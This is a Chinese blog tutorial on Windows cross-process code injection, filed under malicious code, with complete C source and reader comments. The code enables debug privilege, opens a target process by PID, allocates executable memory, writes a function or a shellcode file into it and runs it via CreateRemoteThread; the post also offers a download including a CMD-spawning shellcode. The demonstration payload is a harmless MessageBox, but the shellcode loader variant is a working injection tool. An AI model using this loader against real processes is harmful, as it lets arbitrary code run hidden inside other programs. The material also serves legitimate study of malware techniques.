首页 > 恶意代码 > 代码注入技术

代码注入技术

代码注入相对DLL注入来说更加隐蔽,但是对技术的要求要更高,个人以为代码注入最好注入稳定的Shellcode。代码注入需要用到的API有VirtualAllocEx、WriteProcessMemory、CreateRemoteThread,类似于DLL注入。通常VirtualAllocEx和WriteProcessMemory会被调用两次,分别是处理线程函数以及线程函数参数,然后通过调用CreateRemoteThread来执行代码。当如如果是注入Shellcode就只要调用一次就够了,如果是注入线程函数,需要正确的计算函数的大小,通过#pragma check_stack指令来实现(静态函数、同时关闭增量链接、Release版本)。下面的代码是一个演示弹出MessageBox的代码注入:

1
2
3
4
5
6
7
8
9
10
11
// CodeInjector.h
#ifndef _CODE_INJECTOR_H__
#define _CODE_INJECTOR_H__
 
#include <windows.h>
 
#define CHECK_NULL_RET(bCondition) if (!bCondition) goto Exit0
 
#define REMOTE_ALLOC_SIZE (1024 * 4)
 
#endif
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
// Main.cpp
// Author: 代码疯子
// Blog: http://www.programlife.net/
#include <stdio.h>
#include <string.h>
#include "CodeInjector.h"
 
typedef struct _INJECT_PARAM
{
	CHAR szMsgTitle[64];
	CHAR szMsgContent[256];
 
	DWORD dwMessageBoxA;
} INJECT_PARAM, *PINJECT_PARAM;
 
#pragma check_stack(off)
static DWORD WINAPI RemoteThreadProc(LPVOID lpParameter)
{
	typedef int (WINAPI *PFN_MessageBoxA)(HWND, LPCSTR, LPCSTR, UINT);
	PINJECT_PARAM lpParam = (PINJECT_PARAM)lpParameter;
	PFN_MessageBoxA pfnMessageBoxA = (PFN_MessageBoxA)lpParam->dwMessageBoxA;
 
	pfnMessageBoxA(NULL, lpParam->szMsgContent, lpParam->szMsgTitle, MB_ICONWARNING);
 
	return TRUE;
}
 
static void AfterRemoteThreadProc(void){ return ;}
#pragma check_stack
 
BOOL EnableDebugPrivilege(void)
{
	HANDLE hToken; 
	TOKEN_PRIVILEGES tkp;
	BOOL bRet = FALSE;
 
	bRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
	CHECK_NULL_RET(bRet);
 
	bRet = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
	CHECK_NULL_RET(bRet);
	tkp.PrivilegeCount = 1;  
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
 
	bRet = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
	CHECK_NULL_RET(bRet);
	bRet = TRUE;
 
Exit0:
	CloseHandle(hToken);
	return bRet;
}
 
BOOL InjectCode(DWORD dwPid)
{
	BOOL bRet = FALSE;
	HANDLE hProcess = NULL;
	LPVOID lpThreadProc = NULL;
	DWORD dwResult = 0;
	HANDLE hThread = NULL;
	DWORD dwThreadProcSize = 0;
	INJECT_PARAM stParam = {0};
	LPVOID lpParam = NULL;
 
	bRet = EnableDebugPrivilege();
	CHECK_NULL_RET(bRet);
 
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	CHECK_NULL_RET(bRet);
 
	// Allocate memory for ThreadProc
	lpThreadProc = VirtualAllocEx(hProcess, NULL, REMOTE_ALLOC_SIZE, 
		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CHECK_NULL_RET(lpThreadProc);
 
	dwThreadProcSize = (BYTE *)AfterRemoteThreadProc - (BYTE *)RemoteThreadProc;
	bRet = WriteProcessMemory(hProcess, lpThreadProc, (LPVOID)RemoteThreadProc, 
				dwThreadProcSize, &dwResult);
	CHECK_NULL_RET(bRet);
 
	HMODULE hUser32 = LoadLibrary(TEXT("user32.dll"));
	stParam.dwMessageBoxA = (DWORD)GetProcAddress(hUser32, "MessageBoxA");
 
	strcpy(stParam.szMsgTitle, "Just a Test");
	strcpy(stParam.szMsgContent, "Http://Www.ProgramLife.Net/");
 
	// Allocate memory for parameter
	lpParam = VirtualAllocEx(hProcess, NULL, sizeof(INJECT_PARAM), 
		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CHECK_NULL_RET(lpParam);
 
	bRet = WriteProcessMemory(hProcess, lpParam, (LPVOID)&stParam, 
		sizeof(stParam), &dwResult);
	CHECK_NULL_RET(bRet);
 
	hThread = CreateRemoteThread(
				hProcess,
				NULL,
				0,
				(LPTHREAD_START_ROUTINE)lpThreadProc,
				lpParam,
				0,
				NULL);
	CHECK_NULL_RET(hThread);
 
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
 
Exit0:
	if (NULL != lpThreadProc)
	{
		VirtualFreeEx(hProcess, lpThreadProc, 0, MEM_RELEASE);
	}
	if (NULL != lpParam)
	{
		VirtualFreeEx(hProcess, lpParam, 0, MEM_RELEASE);
	}
	CloseHandle(hProcess);
	return bRet;
}
 
int main(int argc, char **argv)
{
	if (argc != 2)
	{
		printf("Usage: %s PID\n", argv[0]);
		return 1;
	}
 
	DWORD dwPid = atoi(argv[1]);
	InjectCode(dwPid);
 
	return 0;
}

恶意软件跨进程代码注入技术

如果是直接注入Shellcode,只需要为Shellcode分配空间,然后调用CreateRemoteThread执行即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
DWORD ReadShellcode(BYTE *pShellcode, CHAR *szShellcode)
{
	HANDLE hFile = CreateFileA(
						szShellcode,
						GENERIC_READ,
						FILE_SHARE_READ,
						NULL,
						OPEN_EXISTING,
						FILE_ATTRIBUTE_NORMAL,
						NULL);
 
	DWORD dwSize = GetFileSize(hFile, NULL);
	DWORD dwRead = 0;
 
	ReadFile(hFile, (LPVOID)pShellcode, dwSize, &dwRead, NULL);
	CloseHandle(hFile);
 
	return dwRead;
}
 
// szShellcode为Shellcode文件Path
BOOL InjectCode(DWORD dwPid, CHAR *szShellcode)
{
	BOOL bRet = FALSE;
	HANDLE hProcess = NULL;
	LPVOID lpThreadProc = NULL;
	BYTE pShellcode[SHELL_CODE_SIZE] = {0};
	DWORD dwShellcodeSize = 0;
	DWORD dwResult = 0;
	HANDLE hThread = NULL;
 
	bRet = EnableDebugPrivilege();
	CHECK_NULL_RET(bRet);
 
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	CHECK_NULL_RET(bRet);
 
	lpThreadProc = VirtualAllocEx(hProcess, NULL, REMOTE_ALLOC_SIZE, 
		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CHECK_NULL_RET(lpThreadProc);
 
	dwShellcodeSize = ReadShellcode(pShellcode, szShellcode);
	bRet = WriteProcessMemory(hProcess, lpThreadProc, (LPVOID)pShellcode, 
				dwShellcodeSize, &dwResult);
	CHECK_NULL_RET(bRet);
 
	hThread = CreateRemoteThread(
				hProcess,
				NULL,
				0,
				(LPTHREAD_START_ROUTINE)lpThreadProc,
				NULL,
				0,
				NULL);
	CHECK_NULL_RET(hThread);
 
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
 
Exit0:
	if (NULL != lpThreadProc)
	{
		VirtualFreeEx(hProcess, lpThreadProc, 0, MEM_RELEASE);
	}
	CloseHandle(hProcess);
	return bRet;
}

一篇说明一些细节的文章:http://hi.baidu.com/lufa2014/blog/item/f5a249cbee31e71ebe09e685.html

代码下载(普通注入、Shellcode注入、一个弹CMD的Shellcode)


觉得文章还不错?点击此处对作者进行打赏!


本文地址: 程序人生 >> 代码注入技术
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!


更多



  1. 2012年6月6日09:40 | #1

    怎么个原理?表示不理解

    [回复]

    代码疯子 回复:

    @胡阳, 就是想办法在别的进程里面执行一段代码

    [回复]

  2. 竹子
    2012年6月8日16:00 | #2

    你好,我是一个学生,对你的这段代码有些地方不怎么理解,希望能说的具体些
    在计算函数地址时为什么要用静态函数呢?在进行代码注入时,是将代码注入到什么地方呢?是注入到.EXE文件还是.DLL文件呢?如果是注入到.EXE文件,那又是注入到.EXE文件的什么地方呢?是另起一个section还是在其它section后面添加呢?看你的代码时,给我的感觉只是在另一个进程中分派一个页,并将其设置为可执行属性,然后将代码写入这个页,并另起一个线程执行这个也的代码而已啊!

    [回复]

    代码疯子 回复:

    @竹子,
    我在文章最后贴了一个链接,不知道你看了没有,里面说使用static可以静止增量链接。我在测试的时候好像关了增量链接不用static也不行,所以static修饰是必须的。
    这里所说的代码注入是指在别的进程执行一段代码了,不是你说的EXE和DLL,进程和文件的不是同一个概念。所以也不是你说的添加节区了,在文件添加节区也是一些恶意软件常用的方法吧,在我的印象中那个好像不叫注入。
    你的最后一句话就是本文的意思了。

    P.S.
    欢迎一起探讨,我也是新手。

    [回复]

    竹子 回复:

    @代码疯子, 不好意思,是我误解了你这篇文章,明白了他所说的增量连接的意思了,进行了下汇编也确实和他说的一样,又明白了些东西,哈哈。 [em020]

    [回复]

  3. 2012年6月9日02:49 | #3

    话说和一个我的论文导师的同学,做的就是你这个
    早知道你早些写出来,他就轻松了

    [回复]

    代码疯子 回复:

    @C瓜哥, 这个技术很普及了,资料很多,网上的代码也多。

    [回复]

  4. 2012年6月11日00:39 | #4

    看不懂的。希望以后能看懂的。

    [回复]

  1. 本文目前尚无任何 trackbacks 和 pingbacks.